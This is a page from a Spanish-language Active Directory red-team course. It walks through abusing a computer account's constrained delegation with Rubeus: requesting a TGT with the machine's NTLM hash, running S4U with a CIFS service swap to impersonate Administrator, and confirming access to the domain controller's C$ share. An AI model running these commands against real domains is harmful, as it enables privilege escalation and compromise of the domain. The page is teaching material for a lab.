Hacking en Active Directory - [CPAD-100]
Comprar cursoYouTubeTwitterLinkedIn
  • La Biblia del Hacking en ACTIVE DIRECTORY
    • ADVERTENCIA
    • Conoce a tu academia
    • Conoce a tu instructor
    • Aprende con nuestro curso
      • ¿Que Significa CPAD-100?
  • Introducción a Directorio Activo – (AD)
    • Fundamentos de AD
    • Componentes importantes de un Active Directory
    • Principales conceptos de un Directorio Activo
      • Diferencias entre GPO y ACL
    • ¿Por qué los atacantes van tras los controladores de dominio?
      • Ransomware en AD
    • Introduccion a Kerberos
      • Capa de transporte
      • Agentes
      • Claves de cifrado
      • Tickets
      • Privilege Attribute Certificate (PAC)
      • Mensajes
    • Proceso de autenticación en Kerberos
      • Kerberos Explicado con Parques y Atracciones
    • ¿Como funciona Kerberos?
    • S4U (Service for User)
    • Usuarios y grupo por defectos en AD
    • Biblia de comandos para el CPAD
  • Fundamentos Ofensivos
    • Introduccion al Curso Profesional de Pentesting para Juniors - [CPPJ]
    • ¿Qué es un Red Team?
      • Assume breach
    • ¿Qué es un Pentesting?
    • Instalacion de Kali Linux
      • Utilizando IP publica para auditorias reales
    • Transferencias de archivos
    • Cyber Kill Chain
    • MITRE
      • Ejemplo teorico
  • Enumeracion Externa
    • Credenciales expuestas
    • La importancia de la enumeracion en un red team
    • Reconocimiento y Recopilacion
    • Activos de informacion publicos
      • DNS records
      • Redes sociales
  • Vectores de ataque fisico
    • Physical Red Team Operations
    • Que es la intrusion fisica
      • Vectores de ataque
    • Rubber Ducky
    • Stuxnet
    • Introduccion a Flipper Zero
      • BadUSB
  • Introduccion Al Hacking Web
    • Tu primer Red Team contra Active Directory
      • Objetivos
      • CyberKillChain en CPAD
    • La importancia del hacking web en un red team contra AD
    • Curso gratuito con los labs de PortSwigger
    • Enumeracion sobre un servidor web desplegado en IIS
    • Inyeccion de comandos desde un formulario web
  • Post-explotacion en windows
    • Fundamentos de la Enumeracion local en un Windows
    • Enumeracion basica desde una WebShell
    • Fundamentos de escalacion de privilegios en Windows
      • ¿Que son altos privilegios en windows?
      • ¿Que son bajos privilegios en windows?
      • Identificando mis privilegios actuales
      • Tokens de acceso en Windows
      • Niveles de integridad en procesos de Windows
    • Privilegios en Windows
    • Abusando de los privilegios SeImpersonatePrivilege SeAssignPrimaryTokenPrivilege
    • Introduccion al Curso Profesional de Pentesting contra Windows - [CPPW]
    • NT AUTHORITY\SYSTEM
    • Reverse Shell en PowerShell Indetectable
      • Introduccion al Curso RedTeam Ops Developer Senior
    • Migracion de WebShell a BurpSuite
    • Migracion de WebShell a Reverse Shell via PowerShell
    • Diferencia entre una WebShell y Reverse Shell
    • Introducción a PowerUp
    • Introducción a WinPEAS
  • Persistencia en Windows Local
    • Introduccion a la post-explotación y persistencia en Windows
    • Creacion de usuarios con net
    • Qué es Mimikatz
      • LSASS
      • Extraccion de credenciales con Mimikatz con binario
      • Extraccion de credenciales con Mimikatz con PowerShell
      • Resolucion de errores con Mimikatz
      • Mimikatz en la actualidad
  • Enumeracion en AD
    • Identificando un Domain Controller (DC) en red
    • ActiveDirectoryRights en el Contexto de Red Team
    • Enumeracion manual con GUI
    • Enumeracion con PowerShell ofensivo
      • Guia de comandos de PowerView.ps1
        • Enumeracion de usuarios
        • Enumeracion de Grupos
        • Enumeracion de Computadores
        • Enumeracion de GPO
        • Enumeracion de ACL
      • Utilizando ADPeas
    • Enumeracion con AD Module DLL
    • Enumeracion con BloodHound
    • Enumeracion con klist
    • Security Identifiers (SIDs)
    • Distinguished Name o DN
  • Vulnerabilidades y ataques en AD
    • Fundamentos de vulnerabilidades en AD
    • Password Spraying
      • La importancia de generar contraseñas personalizadas
      • Kerbrute
    • Relay Attacks
      • ¿Que es NTLM?
      • Utilizando impacket-ntlmrelayx
        • Análisis de impacket-ntlmrelayx
    • Credenciales en descripcion
      • Utilizando CrackMapExec
      • Utilizando BloodHound
    • Kerberoasting
      • Utilizando BloodHound
      • Utilizando Rubeus
      • Utilizando Impacket-GetUserSPNs
      • Utilizando CrackMapExec
      • Utilizando PowerView
    • ASREProastable
      • Utilizando Rubeus
      • Utilizando CrackMapExec
      • Utilizando Impacket-GetNPUsers
      • CVE-2022-33679
    • Unconstrained Delegation
      • TrustedToAuthForDelegation vs TrustedForDelegation
    • Constrained Delegation
      • Usuario
      • Computadora
        • Utilizando Rubeus
    • DnsAdmins
      • Utilizando PowerView.ps1
      • Utilizando NET
      • Cargando una dll maliciosa con dnscmd
      • Generando una DLL maliciosa
    • LAPS Reader
    • (RBCD) Resource-based constrained
    • Abuso de ACL
      • Enumeracion con PowerView
      • Tipos de permisos
        • Tabla de Referencia de Permisos y Derechos en Active Directory
      • Access Control Entry (ACE)
      • WriteDacl sobre Computador
      • GenericAll sobre Grupo
      • GenericAll sobre usuario
      • GenericWrite sobre computador
    • Abuso de GPO
      • ¿Qué es SysVol?
      • Utilizando PowerView
      • Solicitando TGT para el usuario gpowrite.user
      • Utilizando SharpGPOAbuse
      • Forzando la actualizacion de GPO
    • Zerologon - CVE-2020-1472
  • Movimiento lateral
    • Fundamentos de movimiento lateral en AD
    • Impersonation
    • Pass-the-Hash (PtH)
      • Identificando servicios para realizar el PTH
      • Utilizando Evil-WinRm
      • Utilizando impacket-psexec
      • Utilizando RDP
  • Persistencia y post-explotacion en AD
    • Fundamentos de persistencia y la post-explotación en AD
    • DCSync
      • Extracción de Credenciales del Dominio de Active Directory
      • Utilizando CrackMapExec
      • Utilizando Mimikatz
      • Utilizando Impacket-secretsdump
    • Creacion de usuarios en el dominio con net
    • Silver Ticket
      • Service Principal Name (SPN)
      • Silver Ticket para CIFS
    • Golden Ticket
      • Diferencias entre Silver Ticket y Golden Ticket
      • ¿Que es KRBTGT?
      • Variantes del Golden Ticket
        • Golden Ticket tradicional utilizando Mimikatz
        • Golden Ticket Inter-realm TGT
    • Pass The Ticket
      • PTT en Linux
      • PTT en Windows
    • Diamond Ticket
    • Bosques y relaciones de confianza
      • TrustAttributes y TrustType
      • Enumeracion utilizando ADPeas.ps1
      • Enumeracion utilizando nltest
      • Enumeracion utilizando .NET Framework
      • Enumeracion utilizando con PowerView
      • Enumerando con SharpHound
  • Introduccion a la evasion de defensas
    • Fundamentos de evasión de defensas
    • Introduccion a UAC
      • Bypass UAC utilizando FodhelperUACBypass.ps1
      • Bypass utilizando Kerberos y SMBExec
    • Evasión de antivirus
      • Utilizando HoaxShell
    • Introduccion a LOLBAS
    • AMSI para Hackers
    • Utilizando IP publicas y dominios confiables para el almacenamiento de herramientas
    • Codificando tus comandos de PowerShell en base64
      • Transferencia de archivos con base64
    • Política de ejecución de PowerShell
    • Introduccion a Sysinternals
    • Introduccion a AppLocker
    • Apagando defensas basicas
  • Introduccion a ataques modernos en AD
    • Fundamentos de Azure Active Directory
    • DCSync utilizando MSOL
    • Introduccion al Curso de Pentesting Contra Azure - [CPAZ]
  • Introduccion al Blue Team en Active Directory
    • Blue Team y SOC
    • Introduccion al Curso Profesional de Blue Team - [CPBLT]
    • Introduccion a Sysmon
      • Deteccion de comportamiento anomalo con ElasticSearch
  • Muchas Gracias
    • 🛡️ ¡Muchísimas Gracias por Participar! 🛡️
    • Importante
Con tecnología de GitBook
En esta página

¿Te fue útil?

  1. Vulnerabilidades y ataques en AD
  2. Constrained Delegation
  3. Computadora

Utilizando Rubeus

AnteriorComputadoraSiguienteDnsAdmins

Última actualización hace 9 meses

¿Te fue útil?

Para llevar tu aprendizaje al siguiente nivel y practicar estas técnicas de manera segura y efectiva, te invitamos a adquirir acceso premium a nuestro material de curso. No pierdas esta oportunidad de profundizar tus conocimientos. Para más información y adquirir tu acceso, visita nuestro canal de ventas: . ¡Te esperamos para empezar este viaje juntos!

Se recomienda realizar lectura sobre S4U (Service for User)

[!] Found constrained delegation rights for Computer 'USER-SERVER$':
sAMAccountName:                         USER-SERVER$
distinguishedName:                      CN=USER-SERVER,CN=Computers,DC=spartancybersec,DC=corp
objectSid:                              S-1-5-21-1861162130-2580302541-221646211-1129
operatingsystem:                        Windows Server 2019 Datacenter
[+] msDS-AllowedToDelegateTo:           HOST/First-DC.spartancybersec.corp/spartancybersec.corp
                                        HOST/First-DC.spartancybersec.corp
                                        HOST/First-DC
pwdLastSet:                             09/19/2022 23:43:39
[*] lastLogonTimestamp:                 09/19/2022 23:43:39 (Computer is likely not online anymore!)
userAccountControl:                     WORKSTATION_TRUST_ACCOUNT, TRUSTED_TO_AUTH_FOR_DELEGATION

Para realizar este ataque sera necesario suplantar o impersonar el equipo: USER-SERVER$

Para ello podriamos utilizar el HASH del computador que podria ser extraido con tecnicas explicadas en Utilizando Mimikatz

Despues de la extraccion de los hashes, ejecutaremos lo siguiente:

PS C:\> ./Rubeus.exe asktgt /user:USER-SERVER /ntlm:dadef894e564c991a5a5714e0a7efc67 /domain:spartancybersec.corp /outfile:userserver.tgt

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.2.3

[*] Action: Ask TGT

[*] Using rc4_hmac hash: dadef894e564c991a5a5714e0a7efc67
[*] Building AS-REQ (w/ preauth) for: 'spartancybersec.corp\USER-SERVER'
[*] Using domain controller: 10.0.1.100:88
[+] TGT request successful!
[*] base64(ticket.kirbi):

      doIGCDCCBgSgAwIBBaEDAgEWooIFAjCCBP5hggT6MIIE9qADAgEFoRYbFFNQQVJUQU5DWUJFUlNFQy5D
T1JQoikwJ6ADAgECoSAwHhsGa3JidGd0GxRzcGFydGFuY3liZXJzZWMuY29ycKOCBKowggSmoAMCARKh
AwIBAqKCBJgEggSUr/Di1j1ebiwJCZjeb7U3zgPR7x6U9+GUwdq8ABlMoBlqWHTM32UOF6nWwAf5ifwJ
No9PEqHwWfajK3wkmVYMCgb2cyHeolfED7ktQgdsVB6PjDY5OrKH9Zi1euaVSkddO3NduwWshLp8k+Hz
Zh16a+haZZb7ATjR99PAFli4vNlKR2z67kZjvSW4lRlNck7DDxmWf2wDzI4OFyKQU44wZ4d+RESUMIDO

[*] Ticket written to userserver.tgt


  ServiceName              :  krbtgt/spartancybersec.corp
  ServiceRealm             :  SPARTANCYBERSEC.CORP
  UserName                 :  USER-SERVER (NT_PRINCIPAL)
  UserRealm                :  SPARTANCYBERSEC.CORP
  StartTime                :  11/14/2023 2:58:44 AM
  EndTime                  :  11/14/2023 12:58:44 PM
  RenewTill                :  11/21/2023 2:58:44 AM
  Flags                    :  name_canonicalize, pre_authent, initial, renewable, forwardable
  KeyType                  :  rc4_hmac
  Base64(key)              :  GljWkJozwxjYvBkGG9cWJA==
  ASREP (key)              :  DADEF894E564C991A5A5714E0A7EFC67

El resultado del comando indica que la solicitud del TGT ha sido exitosa, y el TGT obtenido se presenta en formato base64 y fue almacenado en el fichero llamado userserver.tgt

Ahora que ya tenemos un TGT de USER-SERVER, se procede con la ejecuccion del siguiente comando:

PS C:\> .\Rubeus.exe s4u /ticket:userserver.tgt /msdsspn:"HOST/First-DC.spartancybersec.corp" /impersonateuser:Administrator /altservice:CIFS /ptt

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.2.3

[*] Action: S4U

[*] Action: S4U

[*] Building S4U2self request for: 'USER-SERVER@SPARTANCYBERSEC.CORP'
[*] Using domain controller: First-DC.spartancybersec.corp (10.0.1.100)
[*] Sending S4U2self request to 10.0.1.100:88
[+] S4U2self success!
[*] Got a TGS for 'Administrator' to 'USER-SERVER@SPARTANCYBERSEC.CORP'
[*] base64(ticket.kirbi):

      doIGCDCCBgSgAwIBBaEDAgEWooIFAjCCBP5hggT6MIIE9qADAgEFoRYbFFNQQVJUQU5DWUJFUlNFQy5D
T1JQoikwJ6ADAgECoSAwHhsGa3JidGd0GxRzcGFydGFuY3liZXJzZWMuY29ycKOCBKowggSmoAMCARKh
AwIBAqKCBJgEggSUr/Di1j1ebiwJCZjeb7U3zgPR7x6U9+GUwdq8ABlMoBlqWHTM32UOF6nWwAf5ifwJ
No9PEqHwWfajK3wkmVYMCgb2cyHeolfED7ktQgdsVB6PjDY5OrKH9Zi1euaVSkddO3NduwWshLp8k+Hz
Zh16a+haZZb7ATjR99PAFli4vNlKR2z67kZjvSW4lRlNck7DDxmWf2wDzI4OFyKQU44wZ4d+RESUMIDO

[*] Impersonating user 'Administrator' to target SPN 'HOST/First-DC.spartancybersec.corp'
[*]   Final ticket will be for the alternate service 'CIFS'
[*] Building S4U2proxy request for service: 'HOST/First-DC.spartancybersec.corp'
[*] Using domain controller: First-DC.spartancybersec.corp (10.0.1.100)
[*] Sending S4U2proxy request to domain controller 10.0.1.100:88
[+] S4U2proxy success!
[*] Substituting alternative service name 'CIFS'
[*] base64(ticket.kirbi) for SPN 'CIFS/First-DC.spartancybersec.corp':

      doIGCDCCBgSgAwIBBaEDAgEWooIFAjCCBP5hggT6MIIE9qADAgEFoRYbFFNQQVJUQU5DWUJFUlNFQy5D
T1JQoikwJ6ADAgECoSAwHhsGa3JidGd0GxRzcGFydGFuY3liZXJzZWMuY29ycKOCBKowggSmoAMCARKh
AwIBAqKCBJgEggSUr/Di1j1ebiwJCZjeb7U3zgPR7x6U9+GUwdq8ABlMoBlqWHTM32UOF6nWwAf5ifwJ
No9PEqHwWfajK3wkmVYMCgb2cyHeolfED7ktQgdsVB6PjDY5OrKH9Zi1euaVSkddO3NduwWshLp8k+Hz
Zh16a+haZZb7ATjR99PAFli4vNlKR2z67kZjvSW4lRlNck7DDxmWf2wDzI4OFyKQU44wZ4d+RESUMIDO
[+] Ticket successfully imported!

Este comando utiliza Rubeus para realizar un ataque S4U (Service for User):

  1. S4U2self: Se construye y envía una solicitud S4U2self para obtener un Ticket Granting Service (TGS) para el usuario "Administrator" en nombre de "USER-SERVER".

  2. S4U2proxy con Alteración de Servicio: Se realiza una solicitud S4U2proxy con el TGS obtenido, pidiendo un ticket para el servicio "HOST/First-DC.spartancybersec.corp". Luego, se sustituye este servicio por "CIFS", cambiando el servicio al que originalmente estaba destinado el ticket.

  3. Resultado: Se obtiene exitosamente un ticket que permite al atacante actuar como "Administrator" para acceder al servicio "CIFS" en "First-DC.spartancybersec.corp". Este ticket es luego importado para su uso en el sistema del atacante.

Este ataque permite al atacante, que originalmente solo controlaba "USER-SERVER", escalar privilegios e impersonar a "Administrator" para acceder a recursos que de otro modo estarían fuera de su alcance.

Nosotros podemos validar que el ataque fue realizado exitosamente con el siguiente comando explicado en Enumeracion con klist

PS C:\> klist

Current LogonId is 0:0x306aa
Cached Tickets: (2)

#0>     Client: Administrator @ SPARTANCYBERSEC.CORP
        Server: CIFS/First-DC.spartancybersec.corp @ SPARTANCYBERSEC.CORP
        KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
        Ticket Flags 0x40a50000 -> forwardable renewable pre_authent ok_as_delegate name_canonicalize
        Start Time: 11/14/2023 3:05:55 (local)
        End Time:   11/14/2023 12:58:44 (local)
        Renew Time: 11/21/2023 2:58:44 (local)
        Session Key Type: AES-128-CTS-HMAC-SHA1-96
        Cache Flags: 0
        Kdc Called:

#1>     Client: Administrator @ SPARTANCYBERSEC.CORP
        Server: HOST/First-DC.spartancybersec.corp @ SPARTANCYBERSEC.CORP
        KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
        Ticket Flags 0x40a50000 -> forwardable renewable pre_authent ok_as_delegate name_canonicalize
        Start Time: 11/14/2023 2:58:52 (local)
        End Time:   11/14/2023 12:58:44 (local)
        Renew Time: 11/21/2023 2:58:44 (local)
        Session Key Type: AES-128-CTS-HMAC-SHA1-96
        Cache Flags: 0
        Kdc Called:
PS C:\> dir \\First-DC.spartancybersec.corp\c$

    Directory: \\First-DC.spartancybersec.corp\c$

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----       11/14/2018   6:56 AM                EFI
d-----       11/14/2023   2:10 AM                NTDS
d-----        5/13/2020   5:58 PM                PerfLogs
d-r---        9/19/2022  11:23 PM                Program Files
d-----        9/19/2022  11:47 PM                Program Files (x86)
d-r---        9/19/2022  11:40 PM                Users
d-----        11/7/2023   6:04 AM                Windows

Por lo anterior, desde esta sesion podriamos interactuar con :

https://wa.link/ej3kiu
CIFS